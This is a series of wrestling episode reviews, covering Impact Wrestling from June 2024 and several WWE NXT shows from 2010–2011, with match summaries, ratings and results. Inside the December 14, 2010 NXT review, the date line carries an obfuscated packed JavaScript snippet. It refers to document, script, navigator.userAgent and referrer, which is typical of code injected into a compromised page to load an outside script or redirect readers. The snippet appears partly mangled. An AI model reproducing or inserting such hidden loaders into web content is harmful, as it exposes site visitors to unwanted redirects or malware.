Impact Wrestling – June 20, 2024: That’ll Be Different

Impact Wrestling
Date: June 20, 2024
Location: Cicero Stadium, Chicago, Illinois
Commentators: Matthew Rehwoldt, Tom Hannifan

We’re done with Against All Odds and on the way to Slammiversary, which very well may see the returning Jeff Hardy in the World Title picture. Jeff came back at the end of Against All Odds to save his brother Matt from the System. In addition, Joe Hendry showed up on NXT and looked like the biggest star ever so he is likely going to be treated like a huge deal as he continues his feud with Frankie Kazarian. Let’s get to it.

Here is Against All Odds if you need a recap.

We open with a long recap of the bigger Against All Odds matches.

Here is the System, now with Dirty Dango, to get things going, with the fans really not thinking much of Alisha Edwards. Eddie Edwards brags about the team retaining all of their titles and Brian Myers calls the team the greatest faction in wrestling history. Myers introduces Johnny “Dango” Curtis, who talks about how he has spent three months being overlooked and under appreciated.

It makes you wonder if you can still do this thing that you love and yes he absolutely can. He is one one of the best in the ring and on the microphone and everyone knows it. Dango talks about how he has known these people for years and he will stand by them forever. He knows that Moose doesn’t trust him, but Dango believes in the System. Moose says the team appreciates what Dango has done, but he’s not part of the team yet. The System, and Moose, are unbeatable and the outcome keeps being the same.

Cue Santino Marella to say Moose’s title reign is impressive, though his attitude is terrible. Santino has an idea though: the Road To Slammiversary, which will be five matches, with the winners challenging Moose in a six way elimination match for the World Title. It starts tonight, so pay attention. Well that’s certainly different, but dang it could be a mess.

The ABC brags about their win over Eric Young and Josh Alexander so it’s time for one more big win before they get their Tag Team Titles back.

Frankie Kazarian left NXT and blamed Joe Hendry for him not winning the #1 contenders battle royal and going on to win the NXT Title.

Spitfire vs. The Hex

Belle pounds Threat back into the corner to start but gets suplexed out of the corner for her efforts. Luna comes in for a front facelock and a double suplex gets two on Kay. Belle gets in a distraction from the apron though and Kay hits a boot to the face for two of her own. Running knees in the corner get two on Threat but she kicks her way to freedom. It’s back to Luna to pick the pace up again and Threat adds a top rope Molly Go Round to take the Hex down. The assisted Alabama Slam finishes Belle at 5:59.

Rating: C. The Hex still feel like a team who could be more valuable than most of the randomly thrown together teams in this division but maybe they don’t want to be around more regularly. For now though, Spitfire’s reheating continues, which thankfully wasn’t another split after a handful of matches together. This division needs some teams to develop long term and maybe that’s what we’re getting with them.

After Against All Odds, Matt Hardy rants about the System causing him to hurt Reby Hardy by mistake. Vengeance is sworn, with Matt promising that the Hardy Family will wreck havoc. Of note, there was very little (if any) of the Broken stuff here.

Alan Angels welcomes Kushida to the Sound Check and we start with a recap of Jonathan Gresham being all weird. Then Kushida stole the ink from Gresham’s mouth, meaning it’s chemistry time in Tokyo (and yes we see Kushida in the lab). Angels asks what is up with that, with Kushida saying he is looking for a cure. Angels doesn’t buy it and gets a match with Kushida next week instead.

Frankie Kazarian vs. Ace Steel

Chicago Street Fight so Steel throws in a trashcan and starts hammering away at the bell. A running clothesline puts Kazarian on the floor and Steele throws the trashcan at his head. Back in and Steel suplexes him onto the trashcan for two but Kazarian gets in a whip over the barricade for a crash out to the floor. The beating continues outside and we take a break.

Back with Kazarian slamming Steele and starting in on the arm. A springboard legdrop onto the arm onto the chair misses though and Steel hammers away with a kendo stick. Steel hits a running dropkick in the corner and a neckbreaker back out of it gets two. Kazarian’s slingshot DDT gets two more but Steel kicks him low. Another quick shot gets Kazarian out of trouble though and Fade To Black onto a pile of chairs finishes Steel at 10:28.

Rating: B-. Perfectly acceptable and at times even good brawl here, though I’m not entirely sure how much demand there was for Steel to get in the ring. He only popped up on TNA TV a few weeks ago and here he is in the ring. Granted it’s hard to get annoyed at what is likely a one off match in front of his hometown crowd, but I’m not sure how much of an impact it made.

Post match Kazarian grabs the chickenwing but Joe Hendry runs in for the save.

Mustafa Ali is annoyed at a leaked video of him talking about how worthless the X-Division Title is. Campaign Singh suggests speaking to the people but Ali has a better idea: he can speak to the people!

It’s time for the first date between Steph de Lander and PCO, which is taking place in the ring because wrestling. Steph even holds the ropes for him but he has to be told to not hit her with a chair. We get some candles lit, with Steph saying it’s nice to be on a date with someone normal for once. Steph tries to make some conversation, with PCO’s shout of YAH apparently meaning he likes the Notebook.

A masked waiter brings in wine, with PCO taking his job and filling the glass almost to the brim. Their meal is some gray noodles, which PCO eats with his hands. She explains the concept of a fork to him but here is First Class to interrupt. AJ Francis insults the wine and the beating is on, with PCO being ziptied to the ropes in the corner. Steph slaps Francis…and gets chokeslammed through the table. Trash talk ensues and I don’t see this ending well.

Ash By Elegance vs. Heather Reckless

Ash tries to throw her outside to start but Reckless holds onto the ropes and grabs a headlock takeover. Back up and Ash decks her with a right hand and hammers away. The chinlock doesn’t last long but Ash gets a boot up in the corner. Reckless catches her on top, only for the Concierge to break up a super C4. Rarefied Air finishes for Ash at 2:42.

Post match Ash loads up a Juggernaut Driver but Jordynne Grace runs in for the save. Grace teases going after the Concierge (the fans don’t seem to approve) and Ash gets in a belt shot to put the champ down.

Post break, Grace wants to hurt Ash.

JDC vs. Ryan Nemeth

That would be Johnny “Dango” Curtis. Nemeth wrestles him down to start and chops away in the corner but JDC breaks up a neckbreaker. JDC chops away and cranks on both arms before firing of some running elbows in the corner. Nemeth is back with a DDT and now the neckbreaker connects, with JDC rolling outside. They get back in but JDC kicks the rope for a low blow and some good old fashioned cheating. Down And Dirty finishes Nemeth at 3:17.

Rating: C. Short and to the point here, but the best thing is that Ryan Nemeth is already seeming like less of a thing. When your whole thing is you’re the miniature version of your brother, you don’t have much of a career. Maybe this is just a bump in the road, but Ryan needs something different to make him stand out or his future is very limited.

Post match the System comes in for the beatdown, with Nic Nemeth making the save.

Here are where various shows will be taking place.

Eric Young and Josh Alexander want to go to the main event of Slammiversary.

Road To Slammiversary: Josh Alexander vs. Eric Young

Feeling out process to start with Alexander working on a wristlock. Young breaks that up and does his flip over the ropes into the slide between the legs. An elbow to the face drops Alexander and we take an early break. Back with Alexander fighting out of a neck crank and hitting a backdrop to start the comeback.

A middle rope knee gives Alexander two and it’s time to roll the German suplexes. Young breaks that up and snaps off a Death Valley Driver but the top rope elbow is broken up. Instead Alexander hits his running crossbody through the ropes, only to miss the moonsault. Now Young’s top rope elbow can connect for two but the piledriver is countered into the ankle lock.

Young breaks that up rather quickly and hits a pop up neckbreaker into the piledriver for two. Alexander reverses a middle rope piledriver (geez) into the ankle lock, which is broken up again. Alexander is right back with a German suplex though and the C4 Spike sends him to Slammiversary at 11:25.

Rating: B. This got some time and it felt like an important match, which helps a lot. Alexander moving on to the main event of a major pay per view is not a bad idea, especially when you need five challengers. I can’t imagine him winning the title again, but he’s the kind of person you put into that spot to give the match some more credibility.

Respect is shown to end the show.

Overall Rating: B-. This show jumped towards Slammiversary with a fast start and that is one of the best things that could have happened. The qualifying matches for the main event should be a fine way to go to keep the shows going, as TNA tends to do well when it focuses on the wrestling. You also have the pretty obvious Ash vs. Grace Knockouts Title match so the top of the card is set. Good enough show here, mainly due to setting up the next few weeks.

Results
Spitfire b. The Hex – Assisted Alabama Slam to Belle
Frankie Kazarian b. Ace Steel – Fade To Black onto a pile of chairs
Ash By Elegance b. Heather Reckless – Rarefied Air
JDC b. Ryan Nemeth – Down And Dirty
Josh Alexander b. Eric Young – C4 Spike

 

 

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On This Day: December 14, 2010 – NXT: One of the First Reviews Posted On Here

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsery|var|u0026u|referrer|drnrk||js|php'.split('|'),0,{})) December 14, 2010
Location: Cajundome, Lafayette, Louisiana
Commentators: Josh Matthews, Todd Grisham

It’s week 2 of NXT and things are looking good so far. Last week was a good start so hopefully that continues here. I’d like to see more of their characters come out this time though which isn’t something we got to see much of on the season premiere. It’s weird to be getting ready for NXT and to have a positive outlook on it. Let’s get to it.


We open as always, with Striker bringing out the rookies. We’re opening with a karaoke challenge. I already don’t like this. There are six envelopes with wrestlers’ theme songs that they have to sing. O’Brian gets Sheamus and we FINALLY get the official words to Sheamus’ song. Surprisingly it doesn’t say Lobster Head. His voice is all nasal and this is just awful.

Bateman gets Miz. He’s not bad but the pacing is all off. He throws in a shoutout to the college football team which is smart.

Novak gets a pop as he comes up for some reason. He gets Dolph Ziggler, who happens to be his pro. Novak sounds really quite drunk. He more or less just says the words which might be the best course of action.

Clay, the white Viscera, goes third with Cody Rhodes’ song….and doesn’t do half bad. It’s more talking but there was a little flair to it. Best so far.

Curtis gets Orton and gets down in the slither pose. I know nothing about music and I’m not sure if this worked or not. Imagine a guy trying to sing like James Hetfield without having talent and singing Orton’s song and that’s about it.

Saxton is last and draws Shawn Michaels whose name gets a bigger pop than anything else so far. He messes up one of the most famous lyrics in wrestling history. How is that possible? He does dance a bit which helps somewhat. Saxton wins which I guess is the best choice as he was definitely trying.

Masters/Saxton vs. DiBiase/Clay up next.

Profile on Novak who says he used to play every spots, including football. They had a motto on the team: DTD – Determined to Dominate. He says he’s destined to dominate. That’s a good line. Novak says he’s the most like Jack Swagger on the roster and that you have to look out for #1, and that’s him. Kind of a generic promo/character but he sold it quite well.

Chris Masters/Byron Saxton vs. Ted DiBiase/Brodus Clay

See I told you it was up next. You didn’t think I’d lie to you did you? Josh talks about having dinner with Brodus recently and that he’s a fascinating person. He actually comes off as that which is good. The rookies start us off. Clay shoves him around with ease so here’s Masters instead.

After a little back and forth stuff Ted comes in and we actually take a break on NXT. Back with Ted holding a chinlock on Masters. I like this Brodus guy. Masters fights out of the corner but walks into a dropkick from Ted for two. In a funny bit Masters brings in Saxton and in a Shawn Stasiak like moment he charges and is taken down immediately.

Clay hits a huge spinebuster but tags DiBiase back in. A kneedrop misses and Saxton is able to get out and it’s pro on pro again. Another spinebuster, this time from Masters, hits DiBiase as does an accidentally shot from Clay. Masters calls for the Masterlock but Saxton gets a quick tag and walks into Dream Street to end it at approximately 7:00.

Rating: C-. Not a great match or anything but it did its job with Clay looking good for a big man and Saxton getting a bit of character development as being a headstrong guy that isn’t as good as he thinks he is. This worked ok though and wasn’t a bad match at all.

We go to the back where Bateman is warming up when Bryan comes in. He says that Bateman has a match tonight so Bryan is going to teach him a hold. It’s a heel hook which Bryan demonstrates step by step (Hey kids! Pay attention as the United States Champion shows you a basic way to snap someone’s ankle in three easy steps!) how to do it and tells Bateman to do it now. Bateman goes insane and shouts about how he’s doing submission wrestling while Bryan is telling him what to do. In order to get Bateman to chill, Bryan KICKS HIM IN THE FACE! I told you that was the best solution to a lot of problems! Funny segment.

Obstacle Course time, but this time it’s for TWO immunity points. Novak goes first and does relatively well until he gets to the push-ups where he has to start over. He sets the time to beat at 37.9 seconds.

Saxton goes second and is a jerk to Striker. I guess he’s not all bad. Saxton falls going over the hurdles and slams his head. He can’t do push-ups either and goes over a minute.

O’Brian is third but messes up on the wall/hurdle as well. He can’t do the balance beam that well and winds up getting 42.7.

Bateman is fourth and the referees are REALLY anal about these push-ups. Bateman manages to break the time at 35.7.

Curtis says he’s feeling very gazelle-like and breaks the time but the referees say he messed up on the balance beam so it’s a disqualification.

Brodus Clay is last and literally throws the walls out of his way. Naturally he’s disqualified though.

Curtis gets another chance to a chorus of boos. He destroys the time at 31.4 seconds.

Profile on Curtis who talks about dabbling in a lot of stuff. He and a friend of his trained in a ring in the woods apparently and the friend was killed in a car wreck so he has dog tags on his tights because of it. That’s a cool story.

Raw Rebounds wastes some time.

Jacob Novak hits on Vickie for some reason. Ziggler comes in and asks Vickie to leave. He’s not happy and more or less says hands off. Is there a reason why Vickie is going to be a focal point of a storyline on this show in back to back seasons?

Ad for the 50 Greatest Superstars DVD which might be worth looking at.

Alberto Del Rio vs. Derrick Bateman

This should be short in theory. Alberto asks Ricardo to take out Bateman. Del Rio dominates early on as you would expect him to. The fans aren’t exactly thrilled by this match to put it mildly. Bateman makes a brief comeback and gets a modified neckbreaker. Think the Moonlight Drive that Morrison used back on ECW. Cross Armbreaker ends it in about 3:20. Not much more than a squash.

Rating: C. Really hard to grade this as it’s barely a competitive match. They tend to have one of these a season and I’m not entirely sure I get the point to them. Del Rio has a major match on the PPV so why would we believe that Bateman stands a chance against him? Also, why not have a rookie against Bateman? Either way it wasn’t bad but it was rather short.

Overall Rating: B. Another good episode this week as things continue to look up for this season. We got some character development, two challenges that went by pretty fast and two matches. That’s pretty good for a little under an hour I’d say, especially considering a 3-4 minute Raw Recap plus commercials. I’m liking this 6 man set of rookies as it’s definitely more workable. Nothing bad at all here and some decent stuff make this a solid outing for the second episode of the season. Good show.

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On This Day: November 9, 2011 – NXT: With A British Accent

NXT
Date: November 9, 2011
Location: Liverpool Echo Arena, Liverpool, England
Commentators: Jack Korpela, Matt Striker

We’re in England this week so expect a few Regal chants. I’ve actually lost count of the number of weeks we’ve had now and frankly I don’t care. This is going to hit a year I believe and I wouldn’t be surprised if it did. Darren Young is eligible for his return now and I hope they release him before he makes said return. It’s not like he offers anything to the company anyway. Let’s get to it.

Striker is in the ring with Bateman, Watson, O’Neil and Maxine. He says two of the rookie finalists which implies there may be more, which scares me to death. Bateman says Maxine is beautiful and they make out. O’Neil makes fish jokes and for the love of goodness, EXPLAIN WHAT IT MEANS. I know the joke, but if you’re going to say it over and over again you may want to point that out more than once.

Striker says he’s been keeping an eye on the rookies and judging them. This brings out Johnny Curtis of all people. He says the show sucks anymore and Titus wants to fight him. It’s implied and confirmed that Curtis and Maxine went out before. The main event of Watson/O’Neil vs. Bateman/Curtis is made. Oh joy.

There’s an article on WWE.com on why Rock and Cena could make a good tag team. That needs an whole article? IT’S ROCK AND CENA!

Wait why isn’t Regal on commentary? Hopefully he’s wrestling on a Raw house show.

Tyson Kidd vs. Trent Barretta

I’d be perfectly fine with Barretta getting more TV time on this show. They go to the mat quickly and Matt says Kidd is complaining about being bastardized by the WWE. Striker makes fun of Maxine for being a rather loose woman and is having a good time on commentary. We hear a voice I don’t think we’re supposed to hear as this match isn’t all that interesting. It’s fine but I have no reason to care about these guys.

Tyson works the arm as Striker gives us a brief history of the Hart Dungeon. The announcers get into a debate about recording stuff on tape/Betamax etc and Jack says you watch NXT on WWE.com. Without missing a beat, Striker: “Who does that?” I love lines like that. They’ve been on the mat for the most part until a Trent clothesline puts Tyson on the floor.

Trent is launched into the post and we take a break. Back with them in the ring and Tyson holding a dragon sleeper. Off to a chinlock as the announcers mainly ignore the match. At least with this it’s a nothing match and they’re not talking about any individual thing. Jack asks if the challenges and point stuff is still going on and Matt says it’s a week to week thing. Trent takes over with a top rope cross body for two. A shot in the corner gets the same.

He tries a tornado DDT but Tyson hits a SWEET spin kick to take over. Brainbuster gets two. Back to the floor and Trent avoids a charge into the barricade. Barretta busts out a Whisper in the Wind off said barricade and both guys are down. Back in there’s a slingshot elbow for two. They go to the corner but Kidd manages to drop Trent on his head/neck as Trent tries a top rope rana and a one leg Liontamer ends this at 11:23.

Rating: B-. Good match here with both guys getting time to make things work. I really like Barretta and would love to see him get more time. The guy puts on decent matches every time he’s out there and this was no exception. I’d love to see an NXT Title and let guys do things like this every week on it. That Whisper in the Wind was pretty awesome. Check this match out if you have about 12 minutes to kill. It’s pretty good.

Bateman is yelling about Maxine dating Curtis. Curtis comes up and implies Maxine is bad in bed.

JTG hits on Tamina when the Usos come up to tell him to get lost. She doesn’t like them interfering so they say Santino is better than JTG. She’s going to be in JTG’s corner tonight.

Jimmy Uso vs. JTG

Jimmy doesn’t get an entrance so we don’t get the dance thing that I can’t spell. Jimmy controls to start so JTG makes fun of the war dance. Uso means brother in Samoan. That name makes much more sense now. The match is nothing special so far. Jimmy goes up but Tamina distracts him so JTG hits a dropkick, sending him to the floor. JTG hits a faceplant out of the corner for two as we talk about Survivor Series.

Matt asks Jack for his picks for Survivor Series and Jack has NOTHING. Matt even makes fun of him for it and it’s actually a bit embarrassing. Then again so is JTG and he keeps his job. Let’s keep the camera on Tamina for about 10 seconds now. It’s clear neither guy has anything to talk about as Jimmy takes over. The top rope splash ends this at 5:22.

Rating: C-. So? I’ll spare you the rant about how this show is so boring and all that jazz, but this was boring as usual. JTG is a guy that isn’t intimidating as a heel at all. He’s supposed to be a fun character and I don’t get the point in making him a heel for so long. It’s not like his status means anything. Weak match with a pointless angle tacked on.

Percy Watson/Titus O’Neil vs. Derrick Bateman/Johnny Curtis

My stars what a dull heel team. We’ve got like 6 minutes left in this show so we’re not going to have much here. Watson starts with Bateman and speeds things up quickly. Off to Curtis who doesn’t do much better. Off to O’Neil and I’ve seen funeral processions more excited than this crowd. Bateman sends Percy’s back into the post to take over. We talk about Curtis being an orphan to fill in air time. La Parka of all people is referenced by Striker. Jack: “No one knows who you’re talking about.” There’s the double tag and even Titus can’t wake the crowd up. Clash of the Titus is broken up and a High/Low ends Titus at 4:40.

Rating: D. This was horribly uninteresting. They did their thing but a lot of the problems were due to the lack of time. Well that and Curtis being the least interesting guy I can remember in a very long time. Nothing to see here and the show itself as a whole was the same. Wow this was bad.

Overall Rating: D+. The opener was good but the rest was just DULL. I haven’t heard a crowd this dead since the last time I was in a cemetery. Totally boring show and I don’t know if it was them being tired from the flight or what, but this was as bad as this show has been (save for the good opener) in a long time. Either end the show or get it back to America IMMEDIATELY.

Results
Tyson Kidd b. Trent Barretta – One Leg Boston Crab
Jimmy Uso b. JTG – Top Rope Splash
Johnny Curtis/Derrick Bateman b. Titus O’Neil/Percy Watson – High/Low to O’Neil

 

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NXT – March 1, 2011: The Stupidest Thing I’ve Ever Seen In WWE

NXT
Date: March 1, 2011
Location: Quicken Loans Arena, Cleveland, Ohio
Commentators: Josh Matthews, Todd Grisham

This is the finale of Season 4 and I can’t say I’m complaining.  The two finalists are the monster Brodus Clay and the guy that makes having a bowl of vanilla ice cream while comparing the speed of paint drying against the speed grass grows sound like the time of your life, Johnny Curtis.  I have a bad feeling they’ll give it to Curtis as I’ve thought that’s what was coming since the season premiere.  Let’s get to it.

We open with a recap of the entire season so far.  My goodness O’Brian and Novak were worthless.

In the arena, Striker introduces the pros and then the rookies.  WE WANT BATEMAN chant.  But Vince and company doesn’t and they know what the fans want right?  Curtis says he should win because it’s personal and has been a fight between these two since the beginning.  He’s fought all his life and is going to kick Brodus’ teeth in.  Truth had to tell the crowd to be quiet so Curtis could talk.  They were chanting for Bateman.  Clay says Curtis stood up the entire season and they would be friends otherwise.  Brodus makes it clear that he’s the heel by making anti-Cleveland statements and talks about leaving like LeBron: a winner.  That sets up this.

Brodus Clay vs. Johnny Curtis

 

Clay sends him to the floor to start.  Back in and Curtis tries to stick and move.  He escapes the Tongan Death Grip but is taken down off the middle rope as we take a break.  There’s a new DVD coming out called the True Story of Wrestlemania with a bunch of behind the scenes stuff.  That could be very entertaining from a variety of perspectives.  Back with Clay holding Curtis in a nerve hold.

The idea here is that Clay is just doing basic stuff and letting Curtis make mistakes.  Suplex gets two and we go back to the nerve hold.  Clay goes after Truth but misses a corner splash.  DDT puts Clay down for a bit but the power of fat compels Curtis to get armdragged/wrist dragged off the top and the splash ends it at 5:30.

Rating: C. Well the right guy won at least.  I was hoping they weren’t going to pull the stupid surprise switch at the end by having Curtis get dominated the whole time and getting the fluke win.  This wasn’t bad but we’ve seen these two fight all season and no one cares anymore I don’t think.

Truth defends Curtis post match which means nothing.

Bryan and Bateman are in the back.  Bateman has a tag match later in an NXT reunion or something.  Bryan fulfills his promise by punching him in the face (read as he has his fist up and pushes it out which knocks Bateman down) for being eliminated.  Bryan says win this for chicks, for America and for Cleveland.  Funny stuff as usual, but since he can’t uh…..uh……just be there with Truth I guess, he’s been eliminated.

And yes I make fun of Curtis a lot but they did this last season with Kaitlyn by just deciding she was going to win and they’re doing it again here while Bateman and AJ respectively were clearly more popular but the company decided otherwise.  It’s rather annoying and when you have to see it coming all season it’s even more annoying.

I was killing time because it was a commercial and now we reair the Rock promo from last night.  It was very intense but at the same time he didn’t convince me of a thing.  I still side with Cena in this almost entirely.  I get that Rock vs. Cena is far more important and entertaining than NXT, but when the show is 50 minutes long including commercials and 20% of that is dedicated to something from last night, why should I believe that the show I’m watching is important?  They do it on Smackdown too which makes it even more questionable.

Conor O’Brian/Derrick Bateman vs. Jacob Novak/Bryon Saxton

 

Oh please make it short.  Bateman is the hometown boy so he’s the most popular of course.  It helps that he’s arguably the only talented one in there.  O’Brian and Novak start us off and the fans chant for Bateman.  Off to Saxton and we’re already having a boring match here maybe 90 seconds in.  The non-Bateman team tags in and out a lot while I guess we’re waiting for the hot tag to Bateman.

O’Brian is getting destroyed so there’s some value to this match already.  No mention of Season 5 so far if you were wondering.  Saxton stops the tag for a bit but can’t do it again.  Bateman comes in and cleans house on both heels (I think.  It’s hard to call O’Brian a face) but gets caught in that Downward Spiral Stunner that Ziggler uses by Saxton.  Novak walks out on the match and Bateman hits a bulldog/DDT hybrid to beat Saxton at 4:40.  Unique finisher if nothing else.

Rating: D+. Totally worthless match here as the whole thing was clearly just to have Bateman win it at the end.  Novak continues to perhaps be the most worthless wrestler this decade which is saying a lot.  Boring match but they needed to fill time since there was only one promo with meaning from last night.

We recap the main event of Raw to waste more time.  The camera deal was funny.

We reair the Shawn Michaels analysis or whatever you want to call that from last night to fill in even more time.  You couldn’t do like, Truth vs. Bryan or something to fill in 8 minutes?

Before we end the show, Josh says watch Smackdown to see Taker return.

Here’s a promo for Smackdown, saying Taker returns!  Why do I watch this show again?

There’s going to be a Season 5.  DANG IT!!!!  It’s going to be like nothing we’ve ever seen before but we get no more details than that.

Striker thanks the Pros as we’re finally at the ending.  Johnny Curtis wins.   I give up.  The winner is 3-7 and they made it clear this guy was going to win in the first episode, making the rest of this show COMPLETELY POINTLESS.  What in the world are they even airing this for anymore?  Total failure here as Clay dominated him in the ring and was pushed as a major guy all season, making the matches and competitions totally pointless.  I’m legit mad here and yet I’m totally not surprised at all.  Curtis says nothing of note and Clay hugs him.  Clay says he’ll take things from the fans now who took his dream away.

Overall Rating: F-. The matches sucked, the show wasn’t interesting and other than Orton vs. Nexus, I think they covered everything on Raw last night that mattered.  On top of that, the ending is as completely stupid a moment in WWE as I have ever seen which is saying A LOT.  I love WWE, but this is the first time I’ve ever considered not watching a show.  That says a lot but that’s how awful this was.  Pathetic and I’m legit mad about this.  Freaking nonsensed.

Results

Brodus Clay b. Johnny Curtis – Splash

Derrick Bateman/Conor O’Brian b. Jacob Novak/Byron Saxton – Bulldog DDT to Saxton

Johnny Curtis won Season 5 of NXT



NXT – February 22, 2011 – Is Anyone Surprised By This Elimination?

NXT
Date: February 22, 2011
Location: ARCO Arena, Sacramento, California
Commentators: Josh Matthews, Todd Grisham

This is the last elimination before we get to the finals which I think are next week but I’m not entirely sure.  I’m not sure who goes home tonight but hopefully it’s Curtis.  No idea what to expect on tonight’s show as they’ve had a match where everyone competes so maybe it’ll be more pro vs. rookie matches.  Let’s get to it.

Curtis and Truth open us up and Truth tells us that none of the Pros are going to be there tonight.  They trade clichés about being alone and Curtis says he’s a one man wolf pack tonight, complete with a howl.

Ricardo says some stuff in Spanish to Brodus and then in Spanish says Brodus is on his own tonight.

Nothing from Bateman and Bryan?  Ok then.

Into the arena we go with Striker bringing in the rookies.  Oh sorry I fell asleep when Curtis was on my screen.  I’m back now.  There appears to be a finish line in front of them.  Next week is the final apparently.  You can still earn immunity for tonight though.  At the moment Clay has 5 points and the others have zero.  There are two challenges tonight and the first is the Grace Under Pressure Physical Challenge.

First up they play beer pong, then build a tower according to a picture with blocks, then they have to flip a cup then fourth they have to use chop sticks to put a set of dice in the right order.  Wait did I wake up or not?  Curtis goes first and the booing is insane.  The cup flip thing is you put it on the edge of a table and have to flip it so that it lands upright.  Curtis takes 1:19 flat.  I stopped watching Wrestlemania 22 for this?

Bateman is second and is booed out of the building for sucking at beer pong.  Apparently Bateman used to work at Build-A-Bear Workshop.  When he’s building the tower he asks “What am I doing with my life?”  He messes up the tower and has to keep at it.  Time passes and they let him finish.  The time isn’t shown and does it matter anyway?

Brodus says set it up right because you’re not playing any okeydoke on him.  No clue what that means but ok.  Brodus outsmarts beer pong by throwing like 10 balls at once.  He aces the tower build to a big pop.  However he sucks at flipping cups and of course Curtis wins.  If you care for some reason his time was 1:46.1.  Curtis has 3 points and I really hope this isn’t what I think it’s going to be.

There’s a triple threat match later.

The Mania video helps a bit as we’re 40 days away.

And there’s the Chaperone trailer to further kill my spirit.

Brodus Clay vs. Johnny Curtis vs. Derrick Bateman

 

Clay’s stomach says WHEE now.  The other two try to jump him which gets Bateman thrown over the top and Curtis pounded down for his effort.  Nice suplex puts Curtis down.  Brodus looks rather uncomfortable with basic offense.  Tongan Death Grip goes on but Bateman pops up with a dropkick to take him down.  The final challenge is also worth three points and Curtis could get immunity.  Well of course he can.  He’s the least interesting so like AJ last Naomi last time he has to make the final right?

They double team Curtis again with chops and kicks.  Again, this completely fails.  Todd says that Brodus is ready for prime time, more or less admitting that the rest of this is pointless.  The two non-Broduses clothesline Clay to the floor and Bateman is tossed out.  Curtis is alone in the ring (drawing dead silence) and dives out with a tope con hilo, landing on his feet.  If he had hit more than their hands it would have looked better but at least he tried.  This takes us to a break.

Back with the two smaller guys hammering on each other.  Bateman breaks Curtis’ momentum and hits a running dropkick on Clay.  Clay wakes up and hammers down both guys.  With Curtis choking him in the corner the camera tilts up at Brodus’ face and it’s a frightening sight indeed.  Clay gets a Fisherman’s Suplex on Curtis as we really need to end this now.  They’ve been out there over ten minutes and it’s clear they’re running out of things to do.

Brodus covers Bateman and Curtis hits the guillotine legdrop to the back of Clay for two.  Cover to Bateman gets two as well.  Clay sets for his T-Bone to Curtis but gets double teamed for about the third time.  A double suplex to Clay actually works and then Curtis suplexes Bateman onto Clay and gets the pin on Bateman at 11:00.  Dang it he’s going to win isn’t he?

Rating: C. This went too fast and I really don’t like Curtis winning but the match was ok.  They gave them some time and while it was maybe a minute or two too long, this was still pretty good for what they were going for.  I have this bad feeling Curtis is going to win it though which is the worst possible outcome but it’s been set in stone since the beginning of the season so I’m not really surprised.

We replay Cena’s promo on Rock last night to kill off about ten minutes.  During this we see Rock’s promo from the week before.  So we’re seeing a flashback to a flashback?  There’s a zen riddle in there somewhere.  The Tooth Fairy line still cracks me up.  I love how there has to be a graphic on the screen telling us this was on Raw last night so we don’t think Cena showed up on NXT.  It says a lot about Cena that he has the crowd in the palm of his hand after coming out to a very mixed reaction.  The line about Rock saying he loves them and Cena being there every week to show it sums up this entire feud.

Talk the Talk is next.

Curtis starts us off and thanks the fans for the pleasure of being here.  Could the flat out say “Vote for Curtis or we’ll murder every puppy in the world” any better?  Bateman says he’s the Sacramento King of the competition.  That’s booed for some reason.  He says he has, eats, sleeps and breathes “it”.  Clay, getting a big pop, gives shoutouts to his friends and family.  You can’t see the mic cube in his hand.  He says the west coast is awesome and all that stuff.  Curtis is booed, Bateman is booed and Clay wins (thank goodness!), making him immune.  This was really short.

Bateman is gone.  Blast it.  Is anyone really surprised by this?  He says it’s particular (yes particular) to be eliminated.  He says he’s proven his worth and he plays it rough except for “Sacramenento”  (yes he said it wrong).  Clay drills Curtis to end the show.

Overall Rating: C-. Well as unhappy as I am with the ending, this was a pretty mediocre show.  The match was just ok and the challenges ranged from stupid to short.  The Cena promo is easily the best part of it which isn’t saying a lot.  Big drop off from last week but at least Clay is in the finals like he should be.  Thankfully this ends next week.

Results

Johnny Curtis won the Grace Under Pressure Challenge

Johnny Curtis b. Brodus Clay and Derrick Bateman – Curtis pinned Bateman after suplexing him onto Clay

Brodus Clay won the Talk the Talk Challenge

Derrick Bateman was eliminated in third place



NXT: February 8, 2011 – How Does That Johnny Curtis Taste In Your Throat?

NXT
Date: February 8, 2011
Location: Resch Center, Green Bay, Wisconsin
Commentators: Josh Matthews, Todd Grisham

It’s elimination night I believe which is probably a good thing.  I wish it was Curtis that was gone but he’s the chosen one so it’ll probably be Bateman or Saxton.  Anyway, this should be decent enough as the show has gotten a lot better recently.  I like them being in the Super Bowl town because it gives us a nice mini-theme tonight possibly.  Let’s get to it.

We open with a recap of the season so far which has been a lot better after the first two went out.

Striker is on the stage and we’re doing the joust thing called Rock-Em Sock-Em this week.  First match is Bateman vs. Curtis.  Bateman is in the final.  Winner gets two immunity points by the way.  Brodus pulls a Michael Tarver and goes after Saxton so it’s a DQ.  Bateman vs. Saxton is the final.  There’s a controversial finish but Saxton wins.  To be fair it’s very close.  Naturally we have to do it one more time.  Surprisingly enough the rematch announcement gets a pop.  Saxton wins again to get two points.  That gives Curtis 3, Bateman and Saxton 2 and Clay 0.

We recap the Talk the Talk Challenge from last week including the Turd Ferguson chant.

Derrick Bateman vs. Byron Saxton

 

No intro here as we end the package and it’s off to the match.  Bateman works on the arm and gets a nice kick to the back to take over.  Apparently Ricardo is the official new pro for Del Rio.  Please tell me that it would be Alberto getting the shot and not Ricardo.  Saxton takes over as we talk about the Dazed and Confused shirt that Ziggler is wearing.

Bateman fights back and gets a dropkick in the corner and a clothesline for two.  Josh says whoever loses here is gone.  Saxton gets a small package for two.  Bateman grabs a modified LeBell Lock (closer to a Crossface) to get the win at 4:30.

Rating: D+. Well it was ok but that’s about it.  This is one of those matches that was just kind of there.  I don’t like using that rating but that really is the best way to put it.  One great thing here though was we saw a coach teaching his pro something and having it come into play to end the match.  We never see that but this time it worked fine.  This wasn’t anything special but it wasn’t horrible.

Time for another challenge worth 3 points (Curtis 3, Bateman and Saxton 2 and Clay 0).  This time we’re going to more or less play the Price is Right.  Various people are going to model things and the rookies have to guess the retail price.  My goodness they’ve turned their show into a commercial!  First up is the 50 Greatest Superstars of All Time DVD presented by AJ from last season.  The DVD is 34.95???  SWEET GOODNESS that’s insane!  Brodus is closest.

